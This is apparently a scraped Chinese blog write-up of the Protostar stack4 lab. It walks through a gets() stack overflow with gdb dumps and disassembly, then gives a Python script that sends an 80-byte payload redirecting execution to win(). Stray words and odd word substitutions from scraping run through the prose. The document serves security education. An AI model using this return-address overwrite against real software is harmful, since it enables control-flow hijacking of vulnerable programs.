Exploit練習Protostar——stack4

簡介

  此次練習只有buffer一個變量,因此不能再經過覆蓋變量值應該程序執行邏輯了,此次咱們能夠直接覆蓋main函數的返回地址,那麼它的返回地址在哪裏呢?python

源碼

 1 #include <stdlib.h>
 2 #include <unistd.h>
 3 #include <stdio.h>
 4 #include <string.h>
 5 
 6 void win()
 7 {
 8   printf("code flow successfully changed\n");
 9 }
10 
11 int main(int argc, char **argv)
12 {
13   char buffer[64];
14 
15   gets(buffer);
16 }

分析

  能夠看到程序中有一個win函數,但並無直接調用,咱們的目的確定是讓程序的執行流程進入win函數。main函數中有buffer一個變量,在經過gets函數獲取用戶輸入賦值給buffer變量以後,函數就執行結束了,因此這裏咱們須要仔細分析一下棧中的內容分佈,若是輸入內容大於64字節,咱們會覆蓋什麼區域?回憶在函數調用時須要執行的彙編指令,以main函數爲例:sass

1   push argv
2   push argc
3   call main
4 main:
5   push ebp
6   mov ebp, esp
7   爲局部變量分配空間

  因此棧中數據的分佈應該是:函數

1 argv
2 argc
3 ret address
4 ebp
5 局部變量

  下面經過調試程序,驗證一下咱們的分析spa

調試程序

 1 (gdb) b 16
 2 Breakpoint 1 at 0x804841d: file stack4/stack4.c, line 16.
 3 (gdb) r
 4 Starting program: /opt/protostar/bin/stack4 
 5 abcd
 6 
 7 Breakpoint 1, main (argc=1, argv=0xbffffd64) at stack4/stack4.c:16
 8 16 stack4/stack4.c: No such file or directory.
 9 in stack4/stack4.c
10 (gdb) print $ebp
11 $1 = (void *) 0xbffffcb8
12 (gdb) print $esp
13 $2 = (void *) 0xbffffc60
14 (gdb) x/32xw $esp
15 0xbffffc60: 0xbffffc70 0xb7ec6165 0xbffffc78 0xb7eada75
16 0xbffffc70: 0x64636261 0x08049500 0xbffffc88 0x080482e8
17 0xbffffc80: 0xb7ff1040 0x080495ec 0xbffffcb8 0x08048449
18 0xbffffc90: 0xb7fd8304 0xb7fd7ff4 0x08048430 0xbffffcb8
19 0xbffffca0: 0xb7ec6365 0xb7ff1040 0x0804843b 0xb7fd7ff4
20 0xbffffcb0: 0x08048430 0x00000000 0xbffffd38 0xb7eadc76
21 0xbffffcc0: 0x00000001 0xbffffd64 0xbffffd6c 0xb7fe1848
22 0xbffffcd0: 0xbffffd20 0xffffffff 0xb7ffeff4 0x0804824b
23 (gdb) info address win
24 Symbol "win" is a function at address 0x80483f4.

  標紅的部分是buffer的內容。調試

  從調試的輸出能夠看到argc=1, argv=0xbffffd64,正是0xbffffcc0那裏的內容,因此綠字是main函數的返回地址,橙字是上一個棧幀的ebp值。可是爲何0xbffffcb0那裏還有八個字節的內容呢?咱們能夠看一下main函數的反彙編代碼:code

 1 (gdb) disass main
 2 Dump of assembler code for function main:
 3 0x08048408 <main+0>: push %ebp
 4 0x08048409 <main+1>: mov %esp,%ebp
 5 0x0804840b <main+3>: and $0xfffffff0,%esp
 6 0x0804840e <main+6>: sub $0x50,%esp
 7 0x08048411 <main+9>: lea 0x10(%esp),%eax
 8 0x08048415 <main+13>: mov %eax,(%esp)
 9 0x08048418 <main+16>: call 0x804830c <gets@plt>
10 0x0804841d <main+21>: leave 
11 0x0804841e <main+22>: ret 
12 End of assembler dump.

  能夠看到在0x0804840b處的代碼,對esp的值進行了一次對齊,正是此次對齊讓棧中多出了8字節的數據。blog

  因此,若是想要覆蓋main函數的返回地址,使得程序的執行邏輯進入win函數,咱們須要構造80字節的Payload,且payload以0xf4830408結尾。get

EXPLOIT編寫

知道payload怎麼寫以後,exploit就很好編寫了,直接給出代碼:源碼

1 import subprocess
2 proc = subprocess.Popen("/opt/protostar/bin/stack4", stdin=subprocess.PIPE)
3 payload = "61616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161f4830408"
4 proc.communicate(payload.decode("hex"))

輸出結果:string

$ python exploit4.py
code flow successfully changed
相關文章
相關標籤/搜索